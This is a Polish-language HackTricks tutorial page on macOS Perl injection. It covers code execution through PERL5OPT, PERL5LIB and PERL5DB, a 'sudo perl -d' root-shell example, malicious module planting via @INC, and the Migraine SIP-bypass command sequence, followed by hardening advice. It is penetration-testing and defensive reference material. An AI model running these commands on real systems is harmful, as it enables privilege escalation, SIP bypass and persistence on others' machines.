macOS Perl Applications Injection
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Poprzez zmienną środowiskową PERL5OPT
& PERL5LIB
Używając zmiennej środowiskowej PERL5OPT
, możliwe jest zmuszenie Perl do wykonywania dowolnych poleceń, gdy interpreter się uruchamia (nawet przed zanalizowaniem pierwszej linii docelowego skryptu). Na przykład, stwórz ten skrypt:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Teraz wyeksportuj zmienną środowiskową i uruchom skrypt perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Inną opcją jest stworzenie modułu Perl (np. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
A następnie użyj zmiennych środowiskowych, aby moduł był lokalizowany i ładowany automatycznie:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Inne interesujące zmienne środowiskowe
PERL5DB
– gdy interpreter jest uruchamiany z flagą-d
(debugger), zawartośćPERL5DB
jest wykonywana jako kod Perl w kontekście debuggera. Jeśli możesz wpływać zarówno na środowisko jak i flagi wiersza poleceń uprzywilejowanego procesu Perl, możesz zrobić coś takiego:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # uruchomi powłokę przed wykonaniem skryptu
PERL5SHELL
– w systemie Windows ta zmienna kontroluje, który plik wykonywalny powłoki Perl użyje, gdy będzie musiał uruchomić powłokę. Wspomniano o niej tutaj tylko dla pełności, ponieważ nie jest istotna w macOS.
Chociaż PERL5DB
wymaga przełącznika -d
, powszechnie można znaleźć skrypty konserwacyjne lub instalacyjne, które są wykonywane jako root z włączoną tą flagą dla szczegółowego rozwiązywania problemów, co czyni tę zmienną ważnym wektorem eskalacji.
Poprzez zależności (nadużycie @INC)
Możliwe jest wylistowanie ścieżki dołączania, którą Perl będzie przeszukiwał (@INC
), uruchamiając:
perl -e 'print join("\n", @INC)'
Typowy wynik na macOS 13/14 wygląda następująco:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Niektóre z zwróconych folderów nawet nie istnieją, jednak /Library/Perl/5.30
istnieje, nie jest chroniony przez SIP i znajduje się przed folderami chronionymi przez SIP. Dlatego, jeśli możesz pisać jako root, możesz umieścić złośliwy moduł (np. File/Basename.pm
), który będzie preferencyjnie ładowany przez każdy skrypt z uprawnieniami importujący ten moduł.
warning
Nadal potrzebujesz root do pisania w /Library/Perl
, a macOS wyświetli monit TCC prosząc o Pełny dostęp do dysku dla procesu wykonującego operację zapisu.
Na przykład, jeśli skrypt importuje use File::Basename;
, możliwe byłoby stworzenie /Library/Perl/5.30/File/Basename.pm
zawierającego kod kontrolowany przez atakującego.
Ominięcie SIP za pomocą Asystenta Migracji (CVE-2023-32369 “Migrena”)
W maju 2023 roku Microsoft ujawnił CVE-2023-32369, nazywany Migreną, technikę poeksploatacyjną, która pozwala atakującemu root całkowicie ominąć Ochronę Integralności Systemu (SIP).
Wrażliwym komponentem jest systemmigrationd
, demon z uprawnieniem com.apple.rootless.install.heritable
. Każdy proces potomny uruchomiony przez ten demon dziedziczy to uprawnienie i dlatego działa poza ograniczeniami SIP.
Wśród dzieci zidentyfikowanych przez badaczy znajduje się interpreter podpisany przez Apple:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Ponieważ Perl respektuje PERL5OPT
(a Bash respektuje BASH_ENV
), zanieczyszczenie środowiska demona jest wystarczające, aby uzyskać dowolne wykonanie w kontekście bez SIP:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Kiedy migrateLocalKDC
jest uruchamiane, /usr/bin/perl
startuje z złośliwym PERL5OPT
i wykonuje /private/tmp/migraine.sh
zanim SIP zostanie ponownie włączony. Z tego skryptu można na przykład skopiować ładunek do /System/Library/LaunchDaemons
lub przypisać rozszerzony atrybut com.apple.rootless
, aby uczynić plik nieusuwalnym.
Apple naprawiło problem w macOS Ventura 13.4, Monterey 12.6.6 i Big Sur 11.7.7, ale starsze lub niezałatane systemy pozostają podatne na ataki.
Rekomendacje dotyczące zabezpieczeń
- Wyczyść niebezpieczne zmienne – uprzywilejowane launchdaemons lub zadania cron powinny startować w czystym środowisku (
launchctl unsetenv PERL5OPT
,env -i
, itd.). - Unikaj uruchamiania interpreterów jako root, chyba że jest to ściśle konieczne. Używaj skompilowanych binariów lub szybko zrzucaj uprawnienia.
- Dostarczaj skrypty z
-T
(tryb zanieczyszczenia), aby Perl ignorowałPERL5OPT
i inne niebezpieczne przełączniki, gdy sprawdzanie zanieczyszczenia jest włączone. - Utrzymuj macOS w aktualności – “Migraine” jest w pełni załatane w bieżących wydaniach.
Odnośniki
- Microsoft Security Blog – “Nowa podatność macOS, Migraine, może obejść Ochronę Integralności Systemu” (CVE-2023-32369), 30 maja 2023.
- Hackyboiz – “Badanie obejścia SIP w macOS (PERL5OPT & BASH_ENV)”, maj 2025.
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.